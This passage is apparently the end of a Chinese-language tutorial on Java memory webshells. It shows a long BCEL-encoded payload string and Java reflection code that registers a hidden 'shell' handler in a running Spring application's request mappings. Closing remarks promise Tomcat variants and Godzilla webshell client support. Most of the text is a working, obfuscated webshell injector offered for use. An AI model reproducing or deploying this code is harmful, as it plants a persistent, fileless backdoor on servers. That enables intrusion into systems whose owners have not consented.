a4$m$aa$60x$ce$e8$fex$df$g$e1$I$3c$87$r$KF$9f$c3j$Fc$9d$a4$fc$T5$ff$c2$c2$ed$Kb$3e$i$a6N$P$ad$OS$ff$R$c4i$ab$ac$c1$x$7cz$f9$dc$q$fa$g$88$d6$fe$e6$a0$ef$7eT57f$b0$aeO$s$d6$c3$o$d8$d0$3f$f5$fc$b3M$8fC$3b$8f$f5$83$8dg$b1$f1$91$sV$d0$8b$9b$b8a$d3$D$d4X$ca$8cV$f1$c3$d3$cdw$xK$X$ccp$R6$d2$cfM$e4$b6$91$dfN$89$z$cc$f2Vfw$h$963$3b$ab$Y$cff$f6$82VVp$a7$f3Q$ee$r$df$8bq$qh$t$zb$ae$f6$3b$F$bf$J$a6S$f0Rc$92X$v$a2$de$b5$b0$90$e2$892R$V$f0$fc$h$8a$C$5ec$d3$fc$U$9f$f0i9$ce$ca$$$e1$x$a2$$P$8bl$$$933$be$3f$95$f5$bd$p$d7$f7$9a$e6$c6l$B$e7$f9$ff$8c$eb$fff$e9$7f$9b$e3$7f$7bSC$b6b$dd$YT$a3$86$9f$da$b91$e8$a1$a57$d2$d6$5er$fb$c9$dfE$89$B$o$fcf$a2z7$fd$bf$Fu$cc$f6Zz$b9$91$98$99$8e$c1R$t$G$c7$9c$Yt$cc$c4$a0$D$c7$b31$d8$c6$Y$ecub$b0$b9$40$M$88$86$f4n$F$_$9b$_$G$c7$9dn$f9r$a7$d9$be$e2$bf$v$y$i$86$P$R$A$A"); Method shell = Memshell.getMethod("shell"); Object InjectMemshell=Memshell.newInstance(); Method registerMapping = springClassload.loadClass("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping").getDeclaredMethod("registerMapping", springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo"), Object.class, Method.class); registerMapping.setAccessible(true); registerMapping.invoke(requestMappingHandlerMapping,requestMappingInfo,InjectMemshell,shell); System.out.println("inject successfully"); } }
|
再把这个类编译为BCEL注入。
至此算是告一段落了。后续会补充一些tomcat内存马全反射形式,然后加入哥斯拉逻辑,可以哥斯拉连接。